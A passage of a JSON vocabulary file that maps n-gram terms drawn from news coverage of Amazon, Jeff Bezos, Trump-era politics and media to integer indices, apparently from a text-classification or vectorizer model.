27844,\n  \"hubbard fear\": 27845,\n  \"joining apple\": 27846,\n  \"stockholm\": 27847,\n  \"nypost richard\": 27848,\n  \"fresh criminal\": 27849,\n  \"read truthout\": 27850,\n  \"videos bezos\": 27851,\n  \"intermediaries consumers\": 27852,\n  \"enable suttles\": 27853,\n  \"relationship michael\": 27854,\n  \"struggles\": 27855,\n  \"owned fedex\": 27856,\n  \"parody jenner\": 27857,\n  \"offender registry\": 27858,\n  \"malicious automation\": 27859,\n  \"formally propose\": 27860,\n  \"kept building\": 27861,\n  \"aisle want\": 27862,\n  \"afternoon light\": 27863,\n  \"best nondocumentary\": 27864,\n  \"theft stolen\": 27865,\n  \"culture thought\": 27866,\n  \"simple change\": 27867,\n  \"illustration getty\": 27868,\n  \"merits\": 27869,\n  \"post essential\": 27870,\n  \"data notice\": 27871,\n  \"check employees\": 27872,\n  \"black identity\": 27873,\n  \"cayman\": 27874,\n  \"poll reveals\": 27875,\n  \"james cameron\": 27876,\n  \"worryingly tied\": 27877,\n  \"local economies\": 27878,\n  \"meme shows\": 27879,\n  \"father matt\": 27880,\n  \"monopolytrump\": 27881,\n  \"treasure tracker\": 27882,\n  \"imploring\": 27883,\n  \"professional service\": 27884,\n  \"president enrique\": 27885,\n  \"aggressive deadline\": 27886,\n  \"hank everybody\": 27887,\n  \"blamed partly\": 27888,\n  \"pussy riot\": 27889,\n  \"gigyashareelement attr\": 27890,\n  \"supporters remained\": 27891,\n  \"statement don\": 27892,\n  \"wsj amazon\": 27893,\n  \"neglected undimmed\": 27894,\n  \"post gavin\": 27895,\n  \"500 days\": 27896,\n  \"class dining\": 27897,\n  \"claim unsubstantiated\": 27898,\n  \"pac contributions\": 27899,\n  \"america progressives\": 27900,\n  \"chair jerome\": 27901,\n  \"shehan totally\": 27902,\n  \"lower representation\": 27903,\n  \"faster overall\": 27904,\n  \"espite\": 27905,\n  \"protecting\": 27906,\n  \"remains noncommittal\": 27907,\n  \"leadership conference\": 27908,\n  \"inc_override_url null\": 27909,\n  \"lehigh\": 27910,\n  \"cecilia malmstr\\u00f6m\": 27911,\n  \"leagues\": 27912,\n  \"thing doesn\": 27913,\n  \"slide\": 27914,\n  \"trillion revenues\": 27915,\n  \"getinstance configobj\": 27916,\n  \"interlocutor\": 27917,\n  \"cultivator\": 27918,\n  \"john bazemore\": 27919,\n  \"cnl_calcaccesplact_content_content\": 27920,\n  \"immutable copy\": 27921,\n  \"break designed\": 27922,\n  \"stolen material\": 27923,\n  \"acquisition price\": 27924,\n  \"long delayed\": 27925,\n  \"host brian\": 27926,\n  \"asked forbes\": 27927,\n  \"reached congress\": 27928,\n  \"afternoon high\": 27929,\n  \"story women\": 27930,\n  \"store attract\": 27931,\n  \"cnn analyst\": 27932,\n  \"twcnnp utm_medium\": 27933,\n  \"parade\": 27934,\n  \"2005\": 27935,\n  \"peter suderman\": 27936,\n  \"investment returns\": 27937,\n  \"kornacki\": 27938,\n  \"york things\": 27939,\n  \"company succumbed\": 27940,\n  \"rant essentially\": 27941,\n  \"seller account\": 27942,\n  \"joe mansueto\": 27943,\n  \"giamatti\": 27944,\n  \"helped contribute\": 27945,\n  \"modi friend\": 27946,\n  \"addiction highway\": 27947,\n  \"baton\": 27948,\n  \"offsety pagex\": 27949,\n  \"apace\": 27950,\n  \"offering price\": 27951,\n  \"million deferring\": 27952,\n  \"youngsters\": 27953,\n  \"behavior erodes\": 27954,\n  \"oppo attempt\": 27955,\n  \"1bn\": 27956,\n  \"client julie\": 27957,\n  \"battle cnn\": 27958,\n  \"journal felt\": 27959,\n  \"right mind\": 27960,\n  \"delivery donald\": 27961,\n  \"nfl colin\": 27962,\n  \"bathroom\": 27963,\n  \"private attorneys\": 27964,\n  \"wives marla\": 27965,\n  \"8yrs\": 27966,\n  \"nycsouthpaw\": 27967,\n  \"chequered past\": 27968,\n  \"voters elect\": 27969,\n  \"book capital\": 27970,\n  \"index xml\": 27971,\n  \"seattle priest\": 27972,\n  \"easiest place\": 27973,\n  \"moderately popular\": 27974,\n  \"holding thomas\": 27975,\n  \"twitter gop\": 27976,\n  \"worth diving\": 27977,\n  \"frequency\": 27978,\n  \"adjuncts getting\": 27979,\n  \"1996 served\": 27980,\n  \"plan suffered\": 27981,\n  \"politically confusing\": 27982,\n  \"ux\": 27983,\n  \"ben graham\": 27984,\n  \"essentially delaying\": 27985,\n  \"adam kobeissi\": 27986,\n  \"examined\": 27987,\n  \"match power\": 27988,\n  \"midterms pennsylvania\": 27989,\n  \"making brazil\": 27990,\n  \"making billions\": 27991,\n  \"danny chau\": 27992,\n  \"potential market\": 27993,\n  \"partys far\": 27994,\n  \"proven impossible\": 27995,\n  \"billing scheme\": 27996,\n  \"president apparently\": 27997,\n  \"candidates worse\": 27998,\n  \"work especially\": 27999,\n  \"text private\": 28000,\n  \"year finally\": 28001,\n  \"maria ressa\": 28002,\n  \"review processes\": 28003,\n  \"2018 emmy\": 28004,\n  \"yang says\": 28005,\n  \"pete actually\": 28006,\n  \"ashby\": 28007,\n  \"members day\": 28008,\n  \"miscalculating costs\": 28009,\n  \"justifiably kill\": 28010,\n  \"ago filed\": 28011,\n  \"short message\": 28012,\n  \"geoffrey james\": 28013,\n  \"galore\": 28014,\n  \"state moves\": 28015,\n  \"shocking blackmail\": 28016,\n  \"blasts critics\": 28017,\n  \"weeks llc\": 28018,\n  \"following reports\": 28019,\n  \"wusa9 adding\": 28020,\n  \"splc\": 28021,\n  \"life dillon\": 28022,\n  \"stopped trump\": 28023,\n  \"roma alfonso\": 28024,\n  \"fake reviews\": 28025,\n  \"mcmaster trump\": 28026,\n  \"toby recovers\": 28027,\n  \"stinson\": 28028,\n  \"direction pecker\": 28029,\n  \"neorealism meets\": 28030,\n  \"consultant\": 28031,\n  \"estate mogul\": 28032,\n  \"proposals posted\": 28033,\n  \"paid position\": 28034,\n  \"proof administration\": 28035,\n  \"recep\": 28036,\n  \"esports\": 28037,\n  \"following disappointing\": 28038,\n  \"wearing underwear\": 28039,\n  \"week publish\": 28040,\n  \"sanchez claim\": 28041,\n  \"shoot army\": 28042,\n  \"510 avenue\": 28043,\n  \"1b workers\": 28044,\n  \"putting money\": 28045,\n  \"amazon robotics\": 28046,\n  \"outsized premiums\": 28047,\n  \"libya rival\": 28048,\n  \"fox nutjob\": 28049,\n  \"issue ignored\": 28050,\n  \"place day\": 28051,\n  \"unimportant\": 28052,\n  \"perplexing events\": 28053,\n  \"stop donald\": 28054,\n  \"truck deliver\": 28055,\n  \"intensive scrutiny\": 28056,\n  \"18217174\": 28057,\n  \"native born\": 28058,\n  \"deporting families\": 28059,\n  \"basically stopped\": 28060,\n  \"business continuing\": 28061,\n  \"story did\": 28062,\n  \"debut conversations\": 28063,\n  \"powell morgan\": 28064,\n  \"decision according\": 28065,\n  \"billions raising\": 28066,\n  \"reality tv\": 28067,\n  \"gain crude\": 28068,\n  \"immorality\": 28069,\n  \"worker boss\": 28070,\n  \"hitting investigative\": 28071,\n  \"resident trump\": 28072,\n  \"louisville indianapolis\": 28073,\n  \"translator\": 28074,\n  \"realdonaldtrump\": 28075,\n  \"deadly winter\": 28076,\n  \"violations associated\": 28077,\n  \"incomes 103\": 28078,\n  \"blunt speech\": 28079,\n  \"recipients\": 28080,\n  \"intel nasdaq\": 28081,\n  \"management llp\": 28082,\n  \"amazon invincibility\": 28083,\n  \"maiga\": 28084,\n  \"362 staff\": 28085,\n  \"total volume\": 28086,\n  \"people organizing\": 28087,\n  \"activists dhs\": 28088,\n  \"maranh\\u00e3o state\": 28089,\n  \"accumulated wealth\": 28090,\n  \"payday lending\": 28091,\n  \"mail partially\": 28092,\n  \"routine immunizations\": 28093,\n  \"allegedly noted\": 28094,\n  \"feminism\": 28095,\n  \"regulated rates\": 28096,\n  \"warning cost\": 28097,\n  \"including greeting\": 28098,\n  \"shorter wait\": 28099,\n  \"product maker\": 28100,\n  \"usabout\": 28101,\n  \"oscar favorite\": 28102,\n  \"took small\": 28103,\n  \"president explaining\": 28104,\n  \"employment declined\": 28105,\n  \"cosmetics company\": 28106,\n  \"plus 100\": 28107,\n  \"received sweetheart\": 28108,\n  \"president barbs\": 28109,\n  \"force large\": 28110,\n  \"ami demanded\": 28111,\n  \"security kirstjen\": 28112,\n  \"highest degree\": 28113,\n  \"organizational\": 28114,\n  \"questions related\": 28115,\n  \"stop putting\": 28116,\n  \"mackenzie interviewed\": 28117,\n  \"largest quarterly\": 28118,\n  \"rojas\": 28119,\n  \"wsgr\": 28120,\n  \"years built\": 28121,\n  \"avoid overwhelming\": 28122,\n  \"king according\": 28123,\n  \"freewheeling conversation\": 28124,\n  \"post pictures\": 28125,\n  \"conservative party\": 28126,\n  \"khosrowshahi wants\": 28127,\n  \"ripple effect\": 28128,\n  \"health naturally\": 28129,\n  \"writer director\": 28130,\n  \"socks mugs\": 28131,\n  \"big behemoth\": 28132,\n  \"market turmoil\": 28133,\n  \"indian operations\": 28134,\n  \"suppress mcdougal\": 28135,\n  \"poor little\": 28136,\n  \"dating sites\": 28137,\n  \"boy alex\": 28138,\n  \"story mcdonald\": 28139,\n  \"opportunity time\": 28140,\n  \"kathy acker\": 28141,\n  \"going deep\": 28142,\n  \"2020 democratic\": 28143,\n  \"family noteworthy\": 28144,\n  \"contractor worldwide\": 28145,\n  \"comment houston\": 28146,\n  \"punto pedro\": 28147,\n  \"assert influence\": 28148,\n  \"juliette binoche\": 28149,\n  \"sit parked\": 28150,\n  \"spectator continue\": 28151,\n  \"listener\": 28152,\n  \"numbering 260\": 28153,\n  \"economic benchmark\": 28154,\n  \"woo special\": 28155,\n  \"2019\": 28156,\n  \"really did\": 28157,\n  \"2018 chile\": 28158,\n  \"interests fit\": 28159,\n  \"averting\": 28160,\n  \"marriage trump\": 28161,\n  \"business research\": 28162,\n  \"toll forcing\": 28163,\n  \"department roof\": 28164,\n  \"protections bolsonaro\": 28165,\n  \"patr onize\": 28166,\n  \"water boiled\": 28167,\n  \"tariffs political\": 28168,\n  \"retail rattled\": 28169,\n  \"houses live\": 28170,\n  \"reach nearby\": 28171,\n  \"conference jimmy\": 28172,\n  \"criticizes white\": 28173,\n  \"impeccable timing\": 28174,\n  \"500 hours\": 28175,\n  \"dinwiddie\": 28176,\n  \"zombie outbreak\": 28177,\n  \"collection nationwide\": 28178,\n  \"better care\": 28179,\n  \"favorite outdoor\": 28180,\n  \"s\\u00e1nchez revelation\": 28181,\n  \"odd attempt\": 28182,\n  \"day trip\": 28183,\n  \"deemed unfair\": 28184,\n  \"getting good\": 28185,\n  \"given car\": 28186,\n  \"smart play\": 28187,\n  \"net positive\": 28188,\n  \"exercise authority\": 28189,\n  \"gas responsible\": 28190,\n  \"laughing children\": 28191,\n  \"today rielly\": 28192,\n  \"skinned boeing\": 28193,\n  \"iowa disparaged\": 28194,\n  \"biggest cities\": 28195,\n  \"sharply lower\": 28196,\n  \"arrest shake\": 28197,\n  \"districts based\": 28198,\n  \"submitting thoughtful\": 28199,\n  \"deal spanned\": 28200,\n  \"portable high\": 28201,\n  \"human emotion\": 28202,\n  \"videocmsuri\": 28203,\n  \"chinese investors\": 28204,\n  \"man picture\": 28205,\n  \"affairs host\": 28206,\n  \"immediately deliver\": 28207,\n  \"congenial\": 28208,\n  \"claudette\": 28209,\n  \"death eventually\": 28210,\n  \"charged consumers\": 28211,\n  \"1999 amazon\": 28212,\n  \"margaret atwood\": 28213,\n  \"lachlan\": 28214,\n  \"charge proposal\": 28215,\n  \"gop hot\": 28216,\n  \"lotter\": 28217,\n  \"amazon scout\": 28218,\n  \"new stops\": 28219,\n  \"contractor rockwell\": 28220,\n  \"footprint\": 28221,\n  \"allegedly imposed\": 28222,\n  \"actively diversifying\": 28223,\n  \"service sanders\": 28224,\n  \"seasoned\": 28225,\n  \"ofstamps\": 28226,\n  \"quickly new\": 28227,\n  \"nsu\": 28228,\n  \"legislative affairs\": 28229,\n  \"actor amazon\": 28230,\n  \"console log\": 28231,\n  \"told conference\": 28232,\n  \"internal quotation\": 28233,\n  \"pregnancy\": 28234,\n  \"extended session\": 28235,\n  \"employee compensation\": 28236,\n  \"demise bezos\": 28237,\n  \"americans wont\": 28238,\n  \"excursion\": 28239,\n  \"easily costs\": 28240,\n  \"investigation federal\": 28241,\n  \"government spending\": 28242,\n  \"peterson threatens\": 28243,\n  \"public ire\": 28244,\n  \"publishing promise\": 28245,\n  \"enquirer paid\": 28246,\n  \"adelsons donate\": 28247,\n  \"energies\": 28248,\n  \"spins round\": 28249,\n  \"burdened\": 28250,\n  \"status 1014107259398512640\": 28251,\n  \"attorney ebram\": 28252,\n  \"communist r\\u00e9gime\": 28253,\n  \"patently\": 28254,\n  \"chrysler building\": 28255,\n  \"21st\": 28256,\n  \"0kdlplqo2e mavy_florian\": 28257,\n  \"brat makes\": 28258,\n  \"semiconductor components\": 28259,\n  \"including aws\": 28260,\n  \"thomas piketty\": 28261,\n  \"despite speculation\": 28262,\n  \"remarkably\": 28263,\n  \"risks political\": 28264,\n  \"pricing method\": 28265,\n  \"russia relations\": 28266,\n  \"bridge carve\": 28267,\n  \"untraditional ways\": 28268,\n  \"utm_content business\": 28269,\n  \"reformed size\": 28270,\n  \"hice\": 28271,\n  \"runaway success\": 28272,\n  \"completion\": 28273,\n  \"amazon fills\": 28274,\n  \"debacle relating\": 28275,\n  \"amazon 2016\": 28276,\n  \"continued gavin\": 28277,\n  \"sinister face\": 28278,\n  \"university law\": 28279,\n  \"index gained\": 28280,\n  \"products seized\": 28281,\n  \"members haven\": 28282,\n  \"sleeves state\": 28283,\n  \"nonprofit new\": 28284,\n  \"inventive\": 28285,\n  \"losing share\": 28286,\n  \"pitched\": 28287,\n  \"combines old\": 28288,\n  \"tumble\": 28289,\n  \"delivery reality\": 28290,\n  \"value read\": 28291,\n  \"hardly new\": 28292,\n  \"attractive fashion\": 28293,\n  \"publicly professed\": 28294,\n  \"synagogue shooting\": 28295,\n  \"avert catastrophic\": 28296,\n  \"craf missions\": 28297,\n  \"prominent conservative\": 28298,\n  \"assortment widening\": 28299,\n  \"community given\": 28300,\n  \"personal finances\": 28301,\n  \"prison feels\": 28302,\n  \"digital alternatives\": 28303,\n  \"pubg\\u52df\\u96c6 pubg\\u30e2\\u30d0\\u30a4\\u30eb\": 28304,\n  \"members consumers\": 28305,\n  \"battle underscores\": 28306,\n  \"charged\": 28307,\n  \"anticipate shopping\": 28308,\n  \"contacted dr\": 28309,\n  \"economists surveyed\": 28310,\n  \"puffy\": 28311,\n  \"reiterated\": 28312,\n  \"service increase\": 28313,\n  \"revenue providing\": 28314,\n  \"block nancy\": 28315,\n  \"satire white\": 28316,\n  \"losing policy\": 28317,\n  \"chuck says\": 28318,\n  \"mccain hold\": 28319,\n  \"simple math\": 28320,\n  \"navy warships\": 28321,\n  \"dig president\": 28322,\n  \"backwards\": 28323,\n  \"official amazon\": 28324,\n  \"2018 donald\": 28325,\n  \"doubling prices\": 28326,\n  \"subscriber growth\": 28327,\n  \"reportedbezos\": 28328,\n  \"100 plus\": 28329,\n  \"programmatically essentially\": 28330,\n  \"energy agreements\": 28331,\n  \"inspiring example\": 28332,\n  \"happen massive\": 28333,\n  \"mockumentary\": 28334,\n  \"removed repeat\": 28335,\n  \"carriers\": 28336,\n  \"microsoft muckerman\": 28337,\n  \"satanism\": 28338,\n  \"era documentary\": 28339,\n  \"retailer massively\": 28340,\n  \"bison\": 28341,\n  \"tonight semi\": 28342,\n  \"perfect doesn\": 28343,\n  \"announced big\": 28344,\n  \"city kalorama\": 28345,\n  \"darcy emails\": 28346,\n  \"aclu study\": 28347,\n  \"conversation cohen\": 28348,\n  \"charitable program\": 28349,\n  \"shelley murphy\": 28350,\n  \"choices revealed\": 28351,\n  \"hasn ended\": 28352,\n  \"mediamatters org\": 28353,\n  \"fix\": 28354,\n  \"flood zones\": 28355,\n  \"revealed natural\": 28356,\n  \"house financial\": 28357,\n  \"attract people\": 28358,\n  \"substitute\": 28359,\n  \"group elderly\": 28360,\n  \"hdr despite\": 28361,\n  \"activists fears\": 28362,\n  \"albert\": 28363,\n  \"200 daily\": 28364,\n  \"alfresco\": 28365,\n  \"party transportation\": 28366,\n  \"showname anderson\": 28367,\n  \"recently bernie\": 28368,\n  \"papers\": 28369,\n  \"bigger wynn\": 28370,\n  \"forward\": 28371,\n  \"amazon netflix\": 28372,\n  \"story studies\": 28373,\n  \"2016 pizzagate\": 28374,\n  \"foods began\": 28375,\n  \"paulareidcbs reports\": 28376,\n  \"confirmation battle\": 28377,\n  \"started taking\": 28378,\n  \"yesterday amazon\": 28379,\n  \"varied service\": 28380,\n  \"omert\\u00e0\": 28381,\n  \"source fortune\": 28382,\n  \"sessions initiate\": 28383,\n  \"remembers republicans\": 28384,\n  \"2018 cook\": 28385,\n  \"near 806\": 28386,\n  \"white supremacy\": 28387,\n  \"messenger whatsapp\": 28388,\n  \"unavoidable presence\": 28389,\n  \"local infrastructures\": 28390,\n  \"inciting riot\": 28391,\n  \"morning technology\": 28392,\n  \"events swirling\": 28393,\n  \"stealing google\": 28394,\n  \"anti faang\": 28395,\n  \"hartnett\": 28396,\n  \"haptic\": 28397,\n  \"week court\": 28398,\n  \"service parcel\": 28399,\n  \"mcd rose\": 28400,\n  \"bezos indicated\": 28401,\n  \"nude photograph\": 28402,\n  \"online environment\": 28403,\n  \"10th anniversary\": 28404,\n  \"long twitter\": 28405,\n  \"emanu\": 28406,\n  \"headquarters ocasio\": 28407,\n  \"imperative\": 28408,\n  \"jpg quality\": 28409,\n  \"crazy growth\": 28410,\n  \"week announcing\": 28411,\n  \"allen spell\": 28412,\n  \"isn subsidizing\": 28413,\n  \"squeeze\": 28414,\n  \"hockey\": 28415,\n  \"trump face\": 28416,\n  \"11s bezos\": 28417,\n  \"commerce leader\": 28418,\n  \"trump puppet\": 28419,\n  \"lead crooks\": 28420,\n  \"heating indoor\": 28421,\n  \"business does\": 28422,\n  \"large depreciation\": 28423,\n  \"difference going\": 28424,\n  \"theft bezos\": 28425,\n  \"amazon candace\": 28426,\n  \"fagan associates\": 28427,\n  \"books suqar\": 28428,\n  \"stock ticks\": 28429,\n  \"2019twitter\": 28430,\n  \"gaslighting\": 28431,\n  \"necessary photo\": 28432,\n  \"nicholas montegriffo\": 28433,\n  \"uncoupling drama\": 28434,\n  \"literally upped\": 28435,\n  \"simons pre\": 28436,\n  \"pachter managing\": 28437,\n  \"opens door\": 28438,\n  \"main audience\": 28439,\n  \"child singer\": 28440,\n  \"simple way\": 28441,\n  \"global network\": 28442,\n  \"elected rep\": 28443,\n  \"prevalent\": 28444,\n  \"paying package\": 28445,\n  \"touching distance\": 28446,\n  \"saying bezos\": 28447,\n  \"years hope\": 28448,\n  \"alleged texts\": 28449,\n  \"economy slowed\": 28450,\n  \"pope place\": 28451,\n  \"jpg 300x200\": 28452,\n  \"stores actually\": 28453,\n  \"track routes\": 28454,\n  \"11th welcome\": 28455,\n  \"intel bucking\": 28456,\n  \"meaningful level\": 28457,\n  \"rewarded kavanaugh\": 28458,\n  \"surrounding defense\": 28459,\n  \"shoppers looking\": 28460,\n  \"plummeting\": 28461,\n  \"including lord\": 28462,\n  \"anyother business\": 28463,\n  \"deny user\": 28464,\n  \"013\": 28465,\n  \"proudly\": 28466,\n  \"bad experience\": 28467,\n  \"isbn number\": 28468,\n  \"sanchez admits\": 28469,\n  \"san diego\": 28470,\n  \"pancake\": 28471,\n  \"drama perfect\": 28472,\n  \"deal poses\": 28473,\n  \"a45 tiny\": 28474,\n  \"towel shirtless\": 28475,\n  \"issue regardless\": 28476,\n  \"diane keaton\": 28477,\n  \"unless parents\": 28478,\n  \"spaces\": 28479,\n  \"costs traffic\": 28480,\n  \"proven policy\": 28481,\n  \"argue chinese\": 28482,\n  \"sparkly\": 28483,\n  \"accept price\": 28484,\n  \"militarism\": 28485,\n  \"limit revenue\": 28486,\n  \"plugable saying\": 28487,\n  \"airplanes amazon\": 28488,\n  \"areas\": 28489,\n  \"cut year\": 28490,\n  \"bug appeared\": 28491,\n  \"says levine\": 28492,\n  \"completely mia\": 28493,\n  \"dawsey\": 28494,\n  \"traffic shares\": 28495,\n  \"including restrictions\": 28496,\n  \"jonah\": 28497,\n  \"house describes\": 28498,\n  \"desire\": 28499,\n  \"york joe\": 28500,\n  \"cramer charitable\": 28501,\n  \"fictitious global\": 28502,\n  \"valley arsenal\": 28503,\n  \"gmt black\": 28504,\n  \"baring\": 28505,\n  \"economy tech\": 28506,\n  \"investigations team\": 28507,\n  \"social gathering\": 28508,\n  \"shooting cbs\": 28509,\n  \"appeared investors\": 28510,\n  \"helping make\": 28511,\n  \"karem\": 28512,\n  \"competitors stopping\": 28513,\n  \"limits impact\": 28514,\n  \"report using\": 28515,\n  \"tech arguing\": 28516,\n  \"bauer ethan\": 28517,\n  \"carla gugino\": 28518,\n  \"wmt sam\": 28519,\n  \"given description\": 28520,\n  \"trump resumed\": 28521,\n  \"rationally\": 28522,\n  \"times regularly\": 28523,\n  \"lookin\": 28524,\n  \"exit package\": 28525,\n  \"forth texts\": 28526,\n  \"passwords\": 28527,\n  \"camilo\": 28528,\n  \"fair publication\": 28529,\n  \"lawyer martin\": 28530,\n  \"local congress\": 28531,\n  \"mean ending\": 28532,\n  \"occurrences\": 28533,\n  \"overpaying\": 28534,\n  \"buildings nyc\": 28535,\n  \"protect users\": 28536,\n  \"trump leaves\": 28537,\n  \"richest divorce\": 28538,\n  \"announcing\": 28539,\n  \"inst\": 28540,\n  \"varied widely\": 28541,\n  \"zone crazy\": 28542,\n  \"documents covering\": 28543,\n  \"2017 watch\": 28544,\n  \"stuart\": 28545,\n  \"dominance led\": 28546,\n  \"brands incoming\": 28547,\n  \"americans online\": 28548,\n  \"gunfire began\": 28549,\n  \"nation observed\": 28550,\n  \"issuing boilerplate\": 28551,\n  \"summer lists\": 28552,\n  \"appropriate surcharge\": 28553,\n  \"hearings read\": 28554,\n  \"misleading information\": 28555,\n  \"r\\u00edo\": 28556,\n  \"wcs\": 28557,\n  \"letter ounce\": 28558,\n  \"counter intelligence\": 28559,\n  \"corporations government\": 28560,\n  \"thank goodness\": 28561,\n  \"shehan main\": 28562,\n  \"city anable\": 28563,\n  \"4q tailwinds\": 28564,\n  \"love jeffbezos\": 28565,\n  \"book gives\": 28566,\n  \"mediaite previously\": 28567,\n  \"deliberately keeps\": 28568,\n  \"details complete\": 28569,\n  \"called amazons\": 28570,\n  \"owns independently\": 28571,\n  \"painfully\": 28572,\n  \"accidentally giving\": 28573,\n  \"cnbc quotes\": 28574,\n  \"mike\": 28575,\n  \"offloading\": 28576,\n  \"path make\": 28577,\n  \"planet lungs\": 28578,\n  \"terriers\": 28579,\n  \"cortez youth\": 28580,\n  \"issuing statement\": 28581,\n  \"type jpg\": 28582,\n  \"benjamin gordon\": 28583,\n  \"days immediately\": 28584,\n  \"suggested apple\": 28585,\n  \"resist democrats\": 28586,\n  \"probably did\": 28587,\n  \"judicial pick\": 28588,\n  \"offshoot theories\": 28589,\n  \"bonds says\": 28590,\n  \"vchn4mguwb\": 28591,\n  \"chair presidential\": 28592,\n  \"soon added\": 28593,\n  \"faang biggie\": 28594,\n  \"sharing years\": 28595,\n  \"usps mailing\": 28596,\n  \"polarising political\": 28597,\n  \"2015 alleging\": 28598,\n  \"culp allows\": 28599,\n  \"numerous calls\": 28600,\n  \"split protein\": 28601,\n  \"usps self\": 28602,\n  \"nbcnews abc\": 28603,\n  \"initiative bri\": 28604,\n  \"identified michael\": 28605,\n  \"house feb\": 28606,\n  \"words bezos\": 28607,\n  \"reactions\": 28608,\n  \"columnist based\": 28609,\n  \"details parliament\": 28610,\n  \"standard assemblywoman\": 28611,\n  \"200 new\": 28612,\n  \"asserts don\": 28613,\n  \"tell jenniferjjacobs\": 28614,\n  \"rocco\": 28615,\n  \"rat\": 28616,\n  \"information shares\": 28617,\n  \"emblazoned\": 28618,\n  \"campaign chief\": 28619,\n  \"recently proposed\": 28620,\n  \"samaritan\": 28621,\n  \"constant threat\": 28622,\n  \"bezos agreed\": 28623,\n  \"street jeff\": 28624,\n  \"populareconomics org\": 28625,\n  \"program guide\": 28626,\n  \"trump classy\": 28627,\n  \"bora\": 28628,\n  \"shutdown invoking\": 28629,\n  \"need reid\": 28630,\n  \"example 221670\": 28631,\n  \"sink cain\": 28632,\n  \"1990\": 28633,\n  \"just shut\": 28634,\n  \"subscribers hold\": 28635,\n  \"greatest cause\": 28636,\n  \"shipware\": 28637,\n  \"linguistic\": 28638,\n  \"automation space\": 28639,\n  \"photos business\": 28640,\n  \"judgejeanine tuckercarlson\": 28641,\n  \"doj inspector\": 28642,\n  \"important mineral\": 28643,\n  \"intimate selfies\": 28644,\n  \"american time\": 28645,\n  \"fed official\": 28646,\n  \"talks continue\": 28647,\n  \"function u9\": 28648,\n  \"secretly recorded\": 28649,\n  \"border australia\": 28650,\n  \"fractures\": 28651,\n  \"blanche\": 28652,\n  \"boasts trillion\": 28653,\n  \"automatic machine\": 28654,\n  \"today article\": 28655,\n  \"bizarre political\": 28656,\n  \"election spare\": 28657,\n  \"amzn rose\": 28658,\n  \"right carve\": 28659,\n  \"\\u014235billion\": 28660,\n  \"inhumane treatment\": 28661,\n  \"660\": 28662,\n  \"affect rainfall\": 28663,\n  \"dumps 100m\": 28664,\n  \"var x2x\": 28665,\n  \"college\": 28666,\n  \"including leases\": 28667,\n  \"know talked\": 28668,\n  \"graham\": 28669,\n  \"extremely rare\": 28670,\n  \"globaldata says\": 28671,\n  \"expect lot\": 28672,\n  \"special access\": 28673,\n  \"reuters lauren\": 28674,\n  \"separately stephenson\": 28675,\n  \"matt rutledge\": 28676,\n  \"chat dennis\": 28677,\n  \"faculties\": 28678,\n  \"conservative rebellion\": 28679,\n  \"trump mocked\": 28680,\n  \"cost effective\": 28681,\n  \"smita\": 28682,\n  \"trapped forever\": 28683,\n  \"smash brahminical\": 28684,\n  \"lexington\": 28685,\n  \"profits amazon\": 28686,\n  \"amazon reconsidering\": 28687,\n  \"sean blackmon\": 28688,\n  \"role operating\": 28689,\n  \"revenue expectations\": 28690,\n  \"sells merchandise\": 28691,\n  \"gilmore girls\": 28692,\n  \"compilation\": 28693,\n  \"tyle team\": 28694,\n  \"pedroncelli\": 28695,\n  \"expenses juggling\": 28696,\n  \"presence near\": 28697,\n  \"post wholly\": 28698,\n  \"deferred sentence\": 28699,\n  \"employees want\": 28700,\n  \"traderstewie\": 28701,\n  \"spokesperson called\": 28702,\n  \"backfire\": 28703,\n  \"scaretta\": 28704,\n  \"represent new\": 28705,\n  \"characterising divorce\": 28706,\n  \"institute commerce\": 28707,\n  \"bricker\": 28708,\n  \"business interests\": 28709,\n  \"shield\": 28710,\n  \"opinion today\": 28711,\n  \"2018 marketwatch\": 28712,\n  \"barrier bolduan\": 28713,\n  \"recent review\": 28714,\n  \"atlanta mass\": 28715,\n  \"ma comptroller\": 28716,\n  \"instead retailers\": 28717,\n  \"hasn addressed\": 28718,\n  \"hang bags\": 28719,\n  \"political spectrum\": 28720,\n  \"intelligence chief\": 28721,\n  \"years past\": 28722,\n  \"analyst report\": 28723,\n  \"run president\": 28724,\n  \"plowed\": 28725,\n  \"card lineup\": 28726,\n  \"source aaron\": 28727,\n  \"psychiatric problems\": 28728,\n  \"boasts starry\": 28729,\n  \"regularly threatened\": 28730,\n  \"kubrick movie\": 28731,\n  \"occ issued\": 28732,\n  \"approval right\": 28733,\n  \"jose calif\": 28734,\n  \"regulating facebook\": 28735,\n  \"blue wave\": 28736,\n  \"cloud trend\": 28737,\n  \"goodthreads men\": 28738,\n  \"help kids\": 28739,\n  \"amazon generation\": 28740,\n  \"election victory\": 28741,\n  \"financial disclosure\": 28742,\n  \"surpassed expectations\": 28743,\n  \"instituting price\": 28744,\n  \"reimpose sanctions\": 28745,\n  \"probe washington\": 28746,\n  \"lobbying administration\": 28747,\n  \"action previously\": 28748,\n  \"gods available\": 28749,\n  \"ex girlfriend\": 28750,\n  \"chasm conservative\": 28751,\n  \"change guns\": 28752,\n  \"posted twitter\": 28753,\n  \"afm cases\": 28754,\n  \"meansfor\": 28755,\n  \"private brands\": 28756,\n  \"constant work\": 28757,\n  \"tunney\": 28758,\n  \"pocket costs\": 28759,\n  \"finance allegations\": 28760,\n  \"dominate large\": 28761,\n  \"religious conservatives\": 28762,\n  \"published intimate\": 28763,\n  \"productive inquiry\": 28764,\n  \"amazon refundable\": 28765,\n  \"reputation read\": 28766,\n  \"volatile\": 28767,\n  \"years day\": 28768,\n  \"silly ravpower\": 28769,\n  \"did quote\": 28770,\n  \"squarely focused\": 28771,\n  \"bow tie\": 28772,\n  \"aws line\": 28773,\n  \"record trumpkins\": 28774,\n  \"invites\": 28775,\n  \"anti vaccination\": 28776,\n  \"mueller studiously\": 28777,\n  \"obtained texts\": 28778,\n  \"unhappiness recently\": 28779,\n  \"mccaskill\": 28780,\n  \"country follows\": 28781,\n  \"464 shares\": 28782,\n  \"mayor tory\": 28783,\n  \"ami board\": 28784,\n  \"york owns\": 28785,\n  \"views following\": 28786,\n  \"community benefits\": 28787,\n  \"behemoth bloated\": 28788,\n  \"ellie higher\": 28789,\n  \"markets exclusively\": 28790,\n  \"straight days\": 28791,\n  \"immigrated\": 28792,\n  \"wrote fox\": 28793,\n  \"oscars revolt\": 28794,\n  \"simulate voices\": 28795,\n  \"adviser advertising\": 28796,\n  \"national trust\": 28797,\n  \"startup\": 28798,\n  \"project advancement\": 28799,\n  \"adopted motto\": 28800,\n  \"soon send\": 28801,\n  \"shares fell\": 28802,\n  \"bear amazon\": 28803,\n  \"says uber\": 28804,\n  \"ceo words\": 28805,\n  \"harrowingly\": 28806,\n  \"300 americans\": 28807,\n  \"2017 river\": 28808,\n  \"socially\": 28809,\n 